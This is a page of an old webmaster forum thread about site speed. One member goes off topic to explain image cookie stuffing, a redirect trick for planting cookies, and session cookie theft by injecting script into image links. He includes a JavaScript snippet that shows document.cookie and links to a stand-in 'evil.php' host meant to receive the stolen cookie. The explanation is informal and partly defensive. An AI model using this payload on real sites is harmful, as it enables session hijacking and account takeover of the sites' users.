Welcome to Onlinewebmarket


+ Reply to Thread
Page 2 of 2 FirstFirst 1 2
Results 11 to 14 of 14

Thread: Best ways to speed up your site

  1. #11
    Site Owner masterweb will become famous soon enough masterweb's Avatar One Million Forum Profiles
    Join Date
    Aug 2007
    Location
    Italy
    Posts
    5,070
    Blog Entries
    30
    Downloads
    25
    Uploads
    93

    Default

    Quote Originally Posted by dunk3r23 View Post
    Well, haven't you heard of image cookie stuffing?
    More info please

  2. #12
    Newcomer Mike22 has a spectacular aura about Mike22 has a spectacular aura about Mike22's Avatar One Million Forum Profiles
    Join Date
    Jan 2010
    Posts
    117
    Blog Entries
    1
    Downloads
    0
    Uploads
    0

    Default

    This is going way off topic.

    Image cookie stuffing is not performance related ( "Best ways to speed up your site" => no relevance)

    Image cookie stuffing is a security hole and the only way you can really prevent it is to not trust other sites as the source of your image

    What basically happens is that the user uses the source for their image on their site, and using htaccess (or other redirect methods), they then redirect you to a PHP file that sets a cookie.

    They can then set a cookie from their site on yours! (you may also need to fake the referer within that php file)

    So for instance I could do this by adding an image to this page from the source on my site, this would then make everyone who visited this page have a certain cookie (for example, everyone who then visited this page on your forum would be automatically logged in as Mike22 and post for me ) - Not a great exploit, there are much better ones than that.

    I prefer session cookie theft through images, but this is an exploit if the sites calls an image incorrectly (unsafely), and allows the user to place script in the image link
    (I mentioned this on DP a while ago)

    If you can find an exploit that allows you to put the link of the image, then you can add a small bit of JavaScript at the end of the image. As an example, this bit of script shows the cookie (and could potentaily send the cookie to me instead of example.com):

    Quote Originally Posted by Mike22 View Post
    javascript: void(document.getElementById('header').innerHTML=' <a onmouseover ="alert(document.cookie);" ><font size="10" COLOR = Red>mouseOverToShowCookie </font><font></a> <a href="javascript:window.location=www.example.com/evil.php?c=%22+document.cookie"> dOnT CLiCk ThiS</a>');
    Using FireFox, if you put the above script in the url, press return and then scroll to the top of the page. (dont worry, I haven't hacked OWF) you can see what this does <= using JavaScript in this way is know as JavaScript injection.

    This really has nothing to do with image re-sizing or performance!
    - If all the images are being added by the webmaster (and not the users) and you are not calling the images incorrectly, these exploits are not relevant, and certainly not relevant to the title of this thread... I don't know how we went off in that direction

    [can you use my username when quoting me from privates messages dunk3r23, cheers]
    Last edited by Mike22; 03-21-2010 at 04:04 PM.
    - If Everyone Agrees, It's Probably Wrong
    If I've helped you, and I'm not being an Arse (which is rare) don't forget to give Reputation

    trade or buy content for your forum: forum posting
    How to write forum posts for users and search engines: Forum Posts
    uk tutors: Tutors Forum ai forum: Neural Network Forum

  3. #13
    Site Owner masterweb will become famous soon enough masterweb's Avatar One Million Forum Profiles
    Join Date
    Aug 2007
    Location
    Italy
    Posts
    5,070
    Blog Entries
    30
    Downloads
    25
    Uploads
    93

    Default

    You are right Mike, we are going off topic on this thread (sorry Lol) but you must agree with me that the info related to a security fall on images is an interested topic to discuss too (why not starting a new thread regarding this issue and how to prevent it?), btw as usually thanks for your tips dude.

  4. #14

    Default

    Now can i know what is image cooking stuffing?Hearing this word for the first time ever.Kindly give me some more details if you can.

+ Reply to Thread
Page 2 of 2 FirstFirst 1 2

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

     

Members who have read this thread : 0

Actions : (View-Readers)

There are no names to display.

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157